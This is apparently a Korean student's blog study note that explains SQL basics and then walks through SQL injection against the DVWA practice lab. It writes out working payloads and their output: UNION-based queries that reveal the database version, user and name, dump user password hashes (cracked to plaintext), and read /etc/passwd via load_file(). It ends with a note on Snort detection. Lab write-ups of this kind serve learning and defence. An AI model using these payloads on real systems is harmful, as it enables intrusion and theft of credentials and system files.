새로운 공간
SQL Injection 본문
SQL -> DBMS에서 사용하는 언어(Structured Query Language)
* DBMS : CRUD
DB : 구조적 데이터를 저장하는 컨테이너(파일 or 파일 모음)
Table : 특정한 종류의 데이터를 구조적 목록으로 묶은 것
> 기본 데이터 타입 : 정수 / 실수 / 논리 / 문자
DB 운영 방식 / 규칙 -> 스키마 : DB, 테이블 레이아웃 및 속성 정보, 데이블에는 특성과 속성이 있어서 데이터 저장 방식을 정의한다.
특정(기능)과 속성 : 객체
세로 : 열->테이블 내의 각 필드, 특정한 정보 조각을 담는 역할 : 인덱스 번호
가로(행) : Primary key(!!중복되면 안됨)에 의해 접근할 수 있는 데이터의 묶음 : 객체명
ROW : RAW->Meta
* RAW : 2/bin
*Meta : 수정되지 않은 원본 상태
SQL
DDL : 데이터 정의 : 테이블에서 데이터 구조를 설정, 변경, 제거
> Create, alterm drop
DML : 데이터 조작어 : 데이터베이스의 테이블에서 새 행입력, 기존 행 변경 및 필요없는 행 제거를 수행
> Insert, select(quert), deletem update
DCL : 데이터 제어어 : 해당 구조에 대한 엑세스 권한을 부여하거나 제거
> grant / privileges >> reload
명령을 전달 >> DBMS
>> 즉시 실행시키지 않고 모아서 처리 : Batch
>>명령어를 전달받는데, 여러개의 명령어 >> 명령어 전달(commit)이 완료___취소되면 rollback
결국 SQL : Select 문
1. 선택기능 : 테이블에서 질의 결과로 반환 될 행을 선택할 수 있으며, 다양한 조건을 사용하여 표시될 행을 ~
2.
3. 조인기능 : 서로 다른 테이블간의 링크를 생성하여 각 테이블의 저장된 데이터를 가져올 수 있다.
select 특정 행 선택 (!) -> join -> 하나의 view를 생성할 수 있다.
select 특정 행 선택 (2) -> join -> 하나의 view를 생성할 수 있다.
-------- DVWA---------
User id : 1 입력
User ID의 값은 일반적으로 Primart key ---> AI(유니크)--> 정수 데이터
==> 1 정수형 데이터를 입력 했더니 sql 문에 의한 쿼리가 요청되었고 결과값을 출력하였다.
db connect = "select filed명 frome db.table"
---> 1 입력....................."1" or '1'
a=input("User ID")
B = "select " + a + " frome db.table;"
확인 : 진짜로 위의 코드와 같이 동작하는지 여부를 판단.
계정 생성 : create user ''jin@localhost";
문자도 아니면서 user-id도 아닌 특수문자를 생각할 수 있다.
'1'--> 유추 가능 --> 입력값을 ' ---> ''' 문법에러 발생
SQL인젝션 취약점 판다 : " ' " 를 입력해본다.
사용자가 입력한 " ' "가 SQL문과 직접적으로
SQL 인젝션 : 기본코드 : a' or ' ' = '
'a' or ' ' = ' ' : 논리 연산자 : 하나라도 참이면 참이다.
DBMS의 변환값은 언제나 논리형 데이터 타입이다 ::: T.F
0, NULL=---> "F"......이외의 값은 T
문법 오류가 발생하지 않고 최종변환값이 T로 만들어야 한다.
>>1
USERID를 검색하여 데이블을 만들고 가공처리 프로젝션 기능 // 프로젝션 기능 (특정 ID 값 추출)---> 뷰 생성
select 쿼리 -> 인자 2개 : 합쳐서 출력 : join---> 명령어 : union
확인 명령어
'union select @@version # '
에러 발생
--> 문법 오류 : SQL 인젝션 취약점이 있다
--> The used SELECT statements have a different unmber of columns
@@version
현재 칼럼의 갯수
사용자의 입력값__id :1
칼럼 1__ First name : admin
칼럼 2__ Sername : admin
'union select 1, @@version #' : 쓰레기 칼럼을 추가하자.
*1, @@version #' : 칼럼 1의 출력 값
*@@version # : 칼럼 2의 출력값
ID: 'union select 1, @@version #'
First name: 1
Surname: 10.3.35-MariaDB
order by : 칼럼의 갯수애 맞춰서 정렬해라>> 칼럼의 갯수가 맞을 때 동작
1'order by 1 #
입력값--->결과값
ID: 1'order by 1 #
First name: admin
Surname: admin
입력값--->결과값
1'order by 2 #
ID: 1'order by 2 #
First name: admin
Surname: admin
입력값--->결과값
1'order by 3 #
칼럼의 갯수가 몇개인지를 사전에 파악하고 들어갈 수 있는데,
위와 같이 오류가 발생된다.
결론 : 반환되는 칼럼의 갯수는 2개이다.
테스트 : 'union select 1,2 #
테스트 : 'union select 1,2,3 # ---> 오류 발생
결과 : 컬럼의 갯수가 맞지 않는 경우 오류 발생
select user() : first_name
select current_user() : surname
'union select user(), 2 #'
ID: 'union select user(), 2 #'
First name: root@localhost
Surname: 2
'union select user(), current_user() #
ID: 'union select user(), current_user() #
First name: root@localhost
Surname: root@localhost
계정이름은 root, 이 계정은 아무곳에서나 들어갈 수 있다?
'union all select user(), current_user() #
ID: 'union all select user(), current_user() #
First name: root@localhost
Surname: root@localhost
현재 사용되는 데이터베이스의 이름을 확인 : database()
'union all select 1, database() #
ID: 'union all select 1, database() #
First name: 1
Surname: dvwa <---- 데이터베이스의 이름
데이터베이스 동작 스키마 정보!
내부 : 하드디스크
외부 :
개념 :
'union select null, concat(first_name,0x0a, password) from users #
ID: 'union select null, concat(first_name,0x0a, password) from users #
First name:
Surname: admin
5f4dcc3b5aa765d61d8327deb882cf99
ID: 'union select null, concat(first_name,0x0a, password) from users #
First name:
Surname: Gordon
e99a18c428cb38d5f260853678922e03
ID: 'union select null, concat(first_name,0x0a, password) from users #
First name:
Surname: Hack
8d3533d75ae2c3966d7e0d4fcc69216b
ID: 'union select null, concat(first_name,0x0a, password) from users #
First name:
Surname: Pablo
0d107d09f5bbe40cade3de5c71e9e9b7
ID: 'union select null, concat(first_name,0x0a, password) from users #
First name:
Surname: Bob
5f4dcc3b5aa765d61d8327deb882cf99
>>> 추출된 정보 정리
mysql-maria DB의 비밀번호는 MD5 암호화 되어 있다.
admin : 5f4dcc3b5aa765d61d8327deb882cf99 :password
Gordon: e99a18c428cb38d5f260853678922e03 : abc123
Hack : 8d3533d75ae2c3966d7e0d4fcc69216b : charley
Pablo : 0d107d09f5bbe40cade3de5c71e9e9b7 : letmein
bob : 5f4dcc3b5aa765d61d8327deb882cf99 :password
>> 코드값의 길이는 같다.
디코딩 사이트.
https://md5.web-max.ca/index.php#enter
sql 함수 : load_file()
'union all select 1, load_file()
'union select null, load_file('/etc/passwd') #
'union select null, load_file('/etc/passwd') #
일반 SQL 인젝션 탐지 : or / and --> +or+
join >> 'union ---> %27union'
snort 룰셋 수정
칼리에서 DVWA 공격
Cent os 7에서 이렇게 뜸
'모의해킹 > kail 모의해킹' 카테고리의 다른 글
NMAP (0) | 2023.09.01 |
---|---|
SQL Injection (Blind) (0) | 2023.07.24 |
nmap? (0) | 2023.07.07 |
Pcap (0) | 2023.07.05 |
kali 한글 깨짐 (0) | 2023.07.03 |